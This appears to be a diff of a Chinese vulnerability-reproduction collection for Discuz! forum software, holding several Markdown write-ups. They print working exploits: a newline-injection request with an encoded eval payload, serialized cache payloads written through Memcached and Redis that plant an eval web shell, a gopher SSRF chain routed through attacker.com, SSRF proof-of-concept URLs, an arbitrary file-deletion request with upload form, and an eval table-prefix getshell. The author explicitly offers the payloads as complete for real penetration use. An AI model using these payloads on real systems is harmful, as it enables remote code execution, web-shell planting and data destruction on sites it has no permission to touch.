||||
foreach ($checkarray as $key) {
|
||||
......
|
||||
}
|
||||
save_config_file($configfile, $newconfig, $config_default);
|
||||
|
||||
`$newconfig`从`$_POST[newconfig]`获取数据,`save_config_file`函数保将`$newconfig`保存到`$configfile`文件中,即`config.inc.php`文件。跟进该函数。
|
||||
|
||||
function save_config_file($filename, $config, $default) {
|
||||
$config = setdefault($config, $default);// 将$config中的空白项用 $default 中对应项的值填充
|
||||
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
|
||||
$year = date('Y');
|
||||
$content = <<<EOT
|
||||
<?php
|
||||
|
||||
|
||||
\$_config = array();
|
||||
|
||||
EOT;
|
||||
$content .= getvars(array('_config' => $config));
|
||||
$content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
|
||||
file_put_contents($filename, $content);
|
||||
}
|
||||
|
||||
getvars函数处理,此时的`$config` =
|
||||
`$newconfig+config.default.php对应项的补充`。看一下getvars函数:
|
||||
|
||||
function getvars($data, $type = 'VAR') {
|
||||
$evaluate = '';
|
||||
foreach($data as $key => $val) {
|
||||
if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
|
||||
continue;
|
||||
}
|
||||
if(is_array($val)) {
|
||||
$evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
|
||||
} else {
|
||||
$val = addcslashes($val, '\'\\');
|
||||
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
|
||||
}
|
||||
}
|
||||
return $evaluate;
|
||||
}
|
||||
|
||||
满足if条件会执行`buildarray`函数,此时`$key=_config`,`$val`=上面的`$config`。最终造成写入的在该函数中(update.php
|
||||
2206行):
|
||||
|
||||
foreach ($array as $key => $val) {
|
||||
if($level == 0) {
|
||||
//str_pad — 使用另一个字符串填充字符串为指定长度
|
||||
// 第一个参数是要输出的字符串,指定长度为50,用'-'填充,居中
|
||||
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
|
||||
$return .= "\r\n// $newline //\r\n";
|
||||
}
|
||||
|
||||
本意是使用`$config`数组的key作为每一块配置区域的\"注释标题\",写入配置文件的\$newline依赖于\$key,而\$key是攻击者可控的。
|
||||
|
||||
未对输入数据进行正确的边界处理,导致可以插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码。
|
||||
|
||||
### 漏洞复现
|
||||
|
||||
在产品升级/转换-\>选择产品转换程序 -\>设置服务器信息 这里抓包,
|
||||
|
||||
payload:
|
||||
|
||||
POST /dz/utility/convert/index.php HTTP/1.1
|
||||
Host: www.0-sec.org:8001
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 278
|
||||
Origin: http://127.0.0.1:8001
|
||||
Connection: close
|
||||
Referer: http://127.0.0.1:8001/dz/utility/convert/index.php
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa
|
||||
|
||||

|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> https://xz.aliyun.com/t/7492\#toc-18
|
After Width: | Height: | Size: 337 KiB |
@ -0,0 +1,51 @@
|
||||
Discuz! X3.1 后台任意代码执行漏洞
|
||||
=================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz! X3.1
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
- 全局\--〉网站第三方统计代码\--〉插入php代码\[其他地方\<\>会被转意\]: 如插入 007uCUf6ly1fxlneom4cfj30om0l40vg.jpg
|
||||
|
||||
- 工具\--〉更新缓存\[为了保险起见,更新下系统缓存\]: 2.jpg
|
||||
|
||||
- 门户\--\> HTML管理\--〉设置:
|
||||
|
||||
1) 静态文件扩展名\[一定要设置成htm\] :htm2) 专题HTML存放目录: template/default/portal3) 设置完,提交吧!
|
||||
|
||||
3.jpg
|
||||
|
||||
- 门户\--〉专题管理\--〉创建专题:
|
||||
|
||||
1)专题标题:xyz // 这个随便你写了2)静态化名称:portal\_topic\_222 //222为自定义文件名,自己要记住3)附加内容:选择上: 站点尾部信息
|
||||
|
||||
4.jpg
|
||||
|
||||
- 提交
|
||||
|
||||
- 回到门户\--〉专题管理,把刚才创建的专题开启,如下图 :
|
||||
|
||||
5.jpg
|
||||
|
||||
- 把刚才的专题,生成
|
||||
|
||||
6.jpg
|
||||
|
||||
下面就是关键了,现在到了包含文件的时候了。
|
||||
|
||||
- 再新建一个专题:
|
||||
|
||||
1)专题标题,静态化名称,这2个随便写2)模板名:这个要选择我们刚才生成的页面:./template/default/portal/portal\_topic\_222.htm
|
||||
|
||||
7.jpg
|
||||
|
||||
- 然后提交,就执行了
|
||||
|
||||
8.jpg
|
@ -0,0 +1,109 @@
|
||||
Discuz! X3.4 Memcached未授权访问导致的rce
|
||||
=========================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
这个漏洞大致利用过程是这样的:利用discuz!的ssrf漏洞,利用gopher协议写入payload到memcached,然后请求特定链接导致代码执行漏洞。
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
- \<= x3.4
|
||||
|
||||
- windows
|
||||
|
||||
- php\>5.3+php-curl\<=7.54
|
||||
|
||||
- DZ开放在80端口
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### 漏洞分析
|
||||
|
||||
Dz 整合 Memcache
|
||||
配置成功后,默认情况下网站首页右下角会出现`MemCache On`的标志:
|
||||
|
||||

|
||||
|
||||
漏洞利用有两个版本,一个是老版本,一个是新版本,discuz!虽然已经是x3.4,代码也发生了变化,漏洞确是任然没有修复。
|
||||
|
||||
漏洞利用代码流程逻辑:
|
||||
|
||||
访问:
|
||||
|
||||
forum.php?mod=ajax&inajax=yes&action=getthreadtypes
|
||||
./source/module/forum/forum_ajax.php
|
||||
|
||||

|
||||
|
||||
./template/default/common/footer_ajax.htm
|
||||
|
||||

|
||||
|
||||
./source/function/function_core.php
|
||||
|
||||

|
||||
|
||||
./source/function/function_core.php
|
||||
|
||||

|
||||
|
||||
最后利用`preg_replace`函数`/e`参数的代码执行特性完成了漏洞利用的全部过程。
|
||||
|
||||
以上是老版本代码,在网上已经有一些分析了,在这里简述一些,重点是payload的完整性使用。网上文章大部分在payload部分都只是验证性演示。作为一名红队渗透测试人员,验证性payload肯定是不能再实际渗透测试活动中使用的。
|
||||
|
||||
### 漏洞复现
|
||||
|
||||
***1 老版本漏洞利用流程:***
|
||||
|
||||
生成payload
|
||||
|
||||
<?php
|
||||
$payload['output']['preg']['search']['plugins']= "/.*/e";
|
||||
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
|
||||
$payload['rewritestatus']['plugins']= 1;
|
||||
echoserialize($payload);
|
||||
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
|
||||
|
||||
然后telnet链接memcached
|
||||
|
||||
telnet 1.1.1.1 11211
|
||||
set xxxxxx_setting 1 0 yyy //xxxx为前缀,discuz定义的,可以使用stats cachedump 命令查看。yyy为payload长度。
|
||||
|
||||

|
||||
|
||||
最后访问**forum.php?mod=ajax&inajax=yes&action=getthreadtypes**
|
||||
|
||||
shell生成\*\*/data/cache/ln.php\*\*
|
||||
|
||||
***2 新版本漏洞利用流程***
|
||||
|
||||
生成payload有点变化(ps:只是少了一个e)
|
||||
|
||||
<?php
|
||||
$payload['output']['preg']['search']['plugins']= "/.*/";
|
||||
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
|
||||
$payload['rewritestatus']['plugins']= 1;
|
||||
echoserialize($payload);
|
||||
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
|
||||
|
||||

|
||||
|
||||
访问:**forum.php?mod=ajax&inajax=yes&action=getthreadtypes**
|
||||
|
||||

|
||||
|
||||
最后一定要恢复缓存
|
||||
|
||||
Delete Vtfbsm\_setting
|
||||
|
||||
成功写入文件
|
||||
|
||||

|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> https://xz.aliyun.com/t/2018
|
After Width: | Height: | Size: 85 KiB |
After Width: | Height: | Size: 162 KiB |
After Width: | Height: | Size: 29 KiB |
After Width: | Height: | Size: 173 KiB |
After Width: | Height: | Size: 145 KiB |
After Width: | Height: | Size: 159 KiB |
After Width: | Height: | Size: 117 KiB |
After Width: | Height: | Size: 157 KiB |
After Width: | Height: | Size: 135 KiB |
@ -0,0 +1,70 @@
|
||||
Discuz! X3.4 Weixin Plugin ssrf
|
||||
===============================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz! X3.4
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
`source/plugin/wechat/wechat.class.php` `WeChat`类`syncAvatar`方法:
|
||||
|
||||
static public function syncAvatar($uid, $avatar) {
|
||||
|
||||
if(!$uid || !$avatar) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if(!$content = dfsockopen($avatar)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$tmpFile = DISCUZ_ROOT.'./data/avatar/'.TIMESTAMP.random(6);
|
||||
file_put_contents($tmpFile, $content);
|
||||
|
||||
if(!is_file($tmpFile)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$result = uploadUcAvatar::upload($uid, $tmpFile);
|
||||
unlink($tmpFile);
|
||||
|
||||
C::t('common_member')->update($uid, array('avatarstatus'=>'1'));
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
`source/plugin/wechat/wechat.inc.php`
|
||||
中调用了`WeChat::syncAvatar`,直接用`$_GET['avatar']`作为参数传进去:
|
||||
|
||||
......
|
||||
|
||||
elseif(($ac == 'register' && submitcheck('submit') || $ac == 'wxregister') && $_G['wechat']['setting']['wechat_allowregister']) {
|
||||
|
||||
......
|
||||
|
||||
$uid = WeChat::register($_GET['username'], $ac == 'wxregister');
|
||||
|
||||
if($uid && $_GET['avatar']) {
|
||||
WeChat::syncAvatar($uid, $_GET['avatar']);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
不过因为这里用到了微信登录的插件,所以要利用的话需要目标站开启微信登录:
|
||||
|
||||

|
||||
|
||||
这里 SSRF 的构造很简单,直接在`avatar`参数构造 url
|
||||
即可(只是注意`wxopenid`参数每次请求都要足够随机保证没有重复,如果重复的话代码是无法走到发起请求的逻辑的):
|
||||
|
||||
### poc
|
||||
|
||||
http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil
|
||||
|
||||

|
After Width: | Height: | Size: 268 KiB |
After Width: | Height: | Size: 158 KiB |
@ -0,0 +1,122 @@
|
||||
Discuz! X3.4 imgcropper ssrf
|
||||
============================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
对 PHP、curl 版本都有特殊的要求,而且要服务端环境接受空 Host
|
||||
的请求,总的来说比较鸡肋
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
`source/class/class_image.php` `image`类`init`方法:
|
||||
|
||||
function init($method, $source, $target, $nosuffix = 0) {
|
||||
global $_G;
|
||||
|
||||
$this->errorcode = 0;
|
||||
if(empty($source)) {
|
||||
return -2;
|
||||
}
|
||||
$parse = parse_url($source);
|
||||
if(isset($parse['host'])) {
|
||||
if(empty($target)) {
|
||||
return -2;
|
||||
}
|
||||
$data = dfsockopen($source);
|
||||
$this->tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_');
|
||||
if(!$data || $source === FALSE) {
|
||||
return -2;
|
||||
}
|
||||
file_put_contents($source, $data);
|
||||
}
|
||||
......
|
||||
}
|
||||
|
||||
再找哪些地方调用了`image`类的`init`方法,发现`image`类的`Thumb`、`Cropper`、`Watermark`方法都调用了`init`。比如`Thumb`:
|
||||
|
||||
function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) {
|
||||
$return = $this->init('thumb', $source, $target, $nosuffix);
|
||||
......
|
||||
}
|
||||
|
||||
所以再找哪些地方调用了`image`类的`Thumb`方法,最终发现:
|
||||
|
||||
`source/module/misc/misc_imgcropper.php` 52-57行:
|
||||
|
||||
require_once libfile('class/image');
|
||||
$image = new image();
|
||||
$prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl'];
|
||||
if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) {
|
||||
showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true));
|
||||
}
|
||||
|
||||
下断点调试发现 `$_G['setting']['ftp']['attachurl']` 的值为 `/`,而
|
||||
`$_G['setting']['attachurl']` 的值是 `data/attachment/`。所以似乎
|
||||
`$prefix` 为 `/` 才有 SSRF 利用的可能。
|
||||
|
||||
一开始构造 `cutimg=/10.0.1.1/get`,这样 `$url` 的值就为
|
||||
`//10.0.1.1/get`,按道理来说这应该算是一个正常的
|
||||
url,但是结果却请求失败了。
|
||||
|
||||
仔细跟进 `_dfsockopen` 发现,在 PHP 环境安装有 cURL 时,进入 curl
|
||||
处理的代码分支,直到这里:
|
||||
|
||||
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
|
||||
|
||||
`$scheme`、`$host`、`$port`、`$path` 都是 `parse_url` 解析 url
|
||||
参数后的对应的值,而对像 `//10.0.1.1/get` 这样的 url 解析时,`$scheme`
|
||||
的值是 `null`,因此最后拼接的结果是 `://10.0.1.1/get`,没有协议,curl
|
||||
最后对这种url的请求会自动在前面加上 `HTTP://`,结果就变成了请求
|
||||
`HTTP://://10.0.1.1/get`,这种 url 在我的环境中会导致 curl 报错。
|
||||
|
||||
所以我去掉了 curl 扩展,让 `_dfsockopen` 函数代码走 socket
|
||||
发包的流程,踩了 `parse_url` 和 Dz
|
||||
代码的一些坑点(这里就不展开了,有兴趣的同学调下代码就知道了),最后发现像这样构造可以成功:
|
||||
|
||||
cutimg=/:@localhost:9090/dz-imgcropper-ssrf
|
||||
|
||||
poc:
|
||||
|
||||
POST /misc.php?mod=imgcropper&picflag=2&cutimg=/:@localhost:9090/dz-imgcropper-ssrf HTTP/1.1
|
||||
Host: ubuntu-trusty.com
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Cookie: xkmD_2132_sid=E5sbVr; xkmD_2132_saltkey=m6Y8022s; xkmD_2132_lastvisit=1521612483; xkmD_2132_lastact=1521624907%09misc.php%09imgcropper; xkmD_2132_home_readfeed=1521616105; xkmD_2132_seccode=1.ecda87c571707d3f92; xkmD_2132_ulastactivity=a0f4A9CWpermv2t0GGOrf8%2BzCf6dZyAoQ3Sto7ORINqJeK4g3xcX; xkmD_2132_auth=40a4BIESn2PZVmGftNQ2%2BD1ImxpYr0HXke37YiChA2ruG6OryhLe0bUg53XKlioysCePIZGEO1jmlB1L4qbo; XG8F_2132_sid=fKyQMr; XG8F_2132_saltkey=U7lxxLwx; XG8F_2132_lastvisit=1521683793; XG8F_2132_lastact=1521699709%09index.php%09; XG8F_2132_ulastactivity=200fir8BflS1t8ODAa3R7YNsZTQ1k262ysLbc9wdHRzbPnMZ%2BOv7; XG8F_2132_auth=3711UP00sKWDx2Vo1DtO17C%2FvDfrelGOrwhtDmwu5vBjiXSHuPaFVJ%2FC%2BQi1mw4v4pJ66jx6otRFKfU03cBy; XG8F_2132_lip=172.16.99.1%2C1521688203; XG8F_2132_nofavfid=1; XG8F_2132_onlineusernum=3; XG8F_2132_sendmail=1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 36
|
||||
|
||||
imgcroppersubmit=1&formhash=f8472648
|
||||
|
||||
此时 url 即为`//:@localhost:9090/dz-imgcropper-ssrf`。SSRF 请求成功:
|
||||
|
||||

|
||||
|
||||
通过这种方式进行构造利用的话,不太需要额外的限制条件(只要求服务端 PHP
|
||||
环境没有安装 curl 扩展),但是只能发 HTTP GET
|
||||
请求,并且服务端不跟随跳转。漏洞危害有限。
|
||||
|
||||
后来 l3m0n 师傅也独立发现了这个漏洞,并且他发现较高版本的 curl
|
||||
是可以成功请求 `HTTP://:/` 的,较高版本的 curl 会将这种 url 地址解析到
|
||||
127.0.0.1 的 80 端口:
|
||||
|
||||

|
||||
|
||||
最后他再利用之前 PHP `parse_url` 的解析 bug(
|
||||
[https://bugs.php.net/bug.php?id=73192](https://link.zhihu.com/?target=https%3A//bugs.php.net/bug.php%3Fid%3D73192)
|
||||
),及利用 `parse_url` 和 curl 对 url 的解析差异,成功进行 302
|
||||
跳转到任意恶意地址,最后再 302 跳转到 gopher
|
||||
就做到发送任意数据包。详情可以参考 l3m0n 的博客:
|
||||
|
||||
[Discuz x3.4前台SSRF - l3m0n -
|
||||
博客园](https://link.zhihu.com/?target=https%3A//www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html)
|
||||
|
||||
但是这种利用方式对 PHP、curl 版本都有特殊的要求,而且要服务端环境接受空
|
||||
Host 的请求。总的来说,imgcropper SSRF 仍然比较鸡肋。
|
After Width: | Height: | Size: 162 KiB |
After Width: | Height: | Size: 203 KiB |
@ -0,0 +1,48 @@
|
||||
Discuz! X3.4 ssrf 攻击redis
|
||||
===========================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
需要得到authkey
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz x3.4
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
类似地,Dz 整合 Redis
|
||||
配置成功后,默认情况下网站首页右下角会出现`Redis On`的标志:
|
||||
|
||||

|
||||
|
||||
SSRF 攻击 Redis 步骤实际上就比攻击 Memcache 简单了,因为 Redis 支持 lua
|
||||
脚本,可以直接用 lua
|
||||
脚本获取缓存键名而无需再去猜解前缀。当然能成功攻击的前提是 Redis
|
||||
没有配置密码认证,Discuz requirepass 那一项为空:
|
||||
|
||||

|
||||
|
||||
Redis 交互命令行执行 lua 脚本:
|
||||
|
||||
eval "local t=redis.call('keys','*_setting'); for i,v in ipairs(t) do redis.call('set', v, 'a:2:{s:6:\"output\";a:1:{s:4:\"preg\";a:2:{s:6:\"search\";a:1:{s:7:\"plugins\";s:4:\"/.*/\";}s:7:\"replace\";a:1:{s:7:\"plugins\";s:9:\"phpinfo()\";}}}s:13:\"rewritestatus\";i:1;}') end; return 1;" 0
|
||||
|
||||

|
||||
|
||||
同样地,对这个过程抓包,将数据包改成 gopher 的形式:
|
||||
|
||||
gopher://localhost:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24264%0d%0alocal%20t%3Dredis.call('keys'%2C'*_setting')%3B%20for%20i%2Cv%20in%20ipairs(t)%20do%20redis.call('set'%2C%20v%2C%20'a%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D')%20end%3B%20return%201%3B%0d%0a%241%0d%0a0%0d%0a
|
||||
|
||||
SSRF 利用:
|
||||
|
||||
http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjYzNzkvXyozJTBkJTBhJTI0NCUwZCUwYWV2YWwlMGQlMGElMjQyNjQlMGQlMGFsb2NhbCUyMHQlM0RyZWRpcy5jYWxsKCdrZXlzJyUyQycqX3NldHRpbmcnKSUzQiUyMGZvciUyMGklMkN2JTIwaW4lMjBpcGFpcnModCklMjBkbyUyMHJlZGlzLmNhbGwoJ3NldCclMkMlMjB2JTJDJTIwJ2ElM0EyJTNBJTdCcyUzQTYlM0ElMjJvdXRwdXQlMjIlM0JhJTNBMSUzQSU3QnMlM0E0JTNBJTIycHJlZyUyMiUzQmElM0EyJTNBJTdCcyUzQTYlM0ElMjJzZWFyY2glMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E0JTNBJTIyJTJGLiolMkYlMjIlM0IlN0RzJTNBNyUzQSUyMnJlcGxhY2UlMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E5JTNBJTIycGhwaW5mbygpJTIyJTNCJTdEJTdEJTdEcyUzQTEzJTNBJTIycmV3cml0ZXN0YXR1cyUyMiUzQmklM0ExJTNCJTdEJyklMjBlbmQlM0IlMjByZXR1cm4lMjAxJTNCJTBkJTBhJTI0MSUwZCUwYTAlMGQlMGE%253D&wxopenid=xxxyyyzzz
|
||||
|
||||
代码即再次执行成功。
|
||||
|
||||
参考链接
|
||||
--------
|
||||
|
||||
> https://zhuanlan.zhihu.com/p/51907363
|
After Width: | Height: | Size: 80 KiB |
After Width: | Height: | Size: 312 KiB |
After Width: | Height: | Size: 86 KiB |
119
CMS/Discuz/Discuz! X3.4 任意文件删除漏洞/Discuz! X3.4 任意文件删除漏洞.md
Normal file
@ -0,0 +1,119 @@
|
||||
Discuz! X3.4 任意文件删除漏洞
|
||||
=============================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
影响版本:Discuz!x ≤3.4
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### 漏洞分析
|
||||
|
||||
Discuz!X的码云已经更新修复了该漏洞
|
||||
|
||||
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
|
||||
|
||||
核心问题在`upload/source/include/spacecp/spacecp_profile.php`
|
||||
|
||||

|
||||
|
||||
跟入代码70行
|
||||
|
||||
if(submitcheck('profilesubmit')) {
|
||||
|
||||
当提交profilesubmit时进入判断,跟入177行
|
||||
|
||||

|
||||
|
||||
我们发现如果满足配置文件中某个formtype的类型为file,我们就可以进入判断逻辑,这里我们尝试把配置输出出来看看
|
||||
|
||||

|
||||
|
||||
我们发现formtype字段和条件不符,这里代码的逻辑已经走不进去了
|
||||
|
||||
我们接着看这次修复的改动,可以发现228行再次引入语句unlink
|
||||
|
||||
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
|
||||
|
||||
回溯进入条件
|
||||
|
||||

|
||||
|
||||
当上传文件并上传成功,即可进入unlink语句
|
||||
|
||||

|
||||
|
||||
然后回溯变量`$space[$key]`,不难发现这就是用户的个人设置。
|
||||
|
||||
只要找到一个可以控制的变量即可,这里选择了birthprovince。
|
||||
|
||||
在设置页面直接提交就可以绕过字段内容的限制了。
|
||||
|
||||

|
||||
|
||||
成功实现了任意文件删除
|
||||
|
||||
### 漏洞复现
|
||||
|
||||
访问`http://your-ip/robots.txt`可见robots.txt是存在的:
|
||||
|
||||

|
||||
|
||||
注册用户后,在个人设置页面找到自己的formhash:
|
||||
|
||||

|
||||
|
||||
带上自己的Cookie、formhash发送如下数据包:
|
||||
|
||||
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Length: 367
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
|
||||
Cookie: [your cookie]
|
||||
Connection: close
|
||||
|
||||
------WebKitFormBoundaryPFvXyxL45f34L12s
|
||||
Content-Disposition: form-data; name="formhash"
|
||||
|
||||
[your formhash]
|
||||
------WebKitFormBoundaryPFvXyxL45f34L12s
|
||||
Content-Disposition: form-data; name="birthprovince"
|
||||
|
||||
../../../robots.txt
|
||||
------WebKitFormBoundaryPFvXyxL45f34L12s
|
||||
Content-Disposition: form-data; name="profilesubmit"
|
||||
|
||||
1
|
||||
------WebKitFormBoundaryPFvXyxL45f34L12s--
|
||||
|
||||
提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:
|
||||
|
||||

|
||||
|
||||
说明我们的脏数据已经进入数据库了。
|
||||
|
||||
然后,新建一个`upload.html`,代码如下,将其中的`[your-ip]`改成discuz的域名,`[form-hash]`改成你的formhash:
|
||||
|
||||
<body>
|
||||
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
|
||||
<input type="file" name="birthprovince" />
|
||||
<input type="submit" value="upload" />
|
||||
</form>
|
||||
</body>
|
||||
|
||||
用浏览器打开该页面,上传一个正常图片。此时脏数据应该已被提取出,漏洞已经利用结束。
|
||||
|
||||
再次访问`http://your-ip/robots.txt`,发现文件成功被删除:
|
||||
|
||||

|
After Width: | Height: | Size: 267 KiB |
After Width: | Height: | Size: 90 KiB |
After Width: | Height: | Size: 162 KiB |
After Width: | Height: | Size: 235 KiB |
After Width: | Height: | Size: 254 KiB |
After Width: | Height: | Size: 238 KiB |
After Width: | Height: | Size: 67 KiB |
After Width: | Height: | Size: 346 KiB |
After Width: | Height: | Size: 12 KiB |
After Width: | Height: | Size: 113 KiB |
@ -0,0 +1,245 @@
|
||||
Discuz! X3.4 任意文件删除配合install过程getshell
|
||||
================================================
|
||||
|
||||
一、漏洞简介
|
||||
------------
|
||||
|
||||
\*\*可以利用的条件:\*\*1、安装后没有登录后台,此时install/index还没删除
|
||||
2、因为其他原因没有删除
|
||||
|
||||
二、漏洞影响
|
||||
------------
|
||||
|
||||
Discuz! X3.4
|
||||
|
||||
三、复现过程
|
||||
------------
|
||||
|
||||
### 漏洞分析
|
||||
|
||||
这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉`install.lock`文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。
|
||||
|
||||
表前缀:`x');@eval($_POST[lanvnal]);('`
|
||||
|
||||
但是我在使用上面版本v3.4的代码时发现,安装后`install`目录下不存在`index.php`了。分析代码发现会有安装后的删除处理,在`/source/admincp/admincp_index.php`的第14行:
|
||||
|
||||
if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) {
|
||||
@unlink(DISCUZ_ROOT.'./install/index.php');
|
||||
if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
|
||||
dexit('Please delete install/index.php via FTP!');
|
||||
}
|
||||
}
|
||||
|
||||
那是不是老版本存在该问题呢?
|
||||
|
||||
我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。
|
||||
|
||||
但还是分析一下吧,就当学习了。
|
||||
|
||||
\*\*可以利用的条件:\*\*1、安装后没有登录后台,此时install/index还没删除
|
||||
2、因为其他原因没有删除
|
||||
|
||||
分析一下安装逻辑,`install/index.php`文件的整体流程如下:
|
||||
|
||||

|
||||
|
||||
分别是我们安装的每一步,接受协议-\>环境检测-\>是否安装 UCenter
|
||||
Server-\>数据库配置信息-\>安装过程,生成lock文件-\>检查
|
||||
|
||||
问题出在在 `db_init` 的处理中,在代码第369行:
|
||||
|
||||
if(DZUCFULL) {
|
||||
install_uc_server();
|
||||
}
|
||||
|
||||
跟进`install_uc_server`,在1296行可以发现对config参数没做任何过滤传入到`save_uc_config`中:
|
||||
|
||||
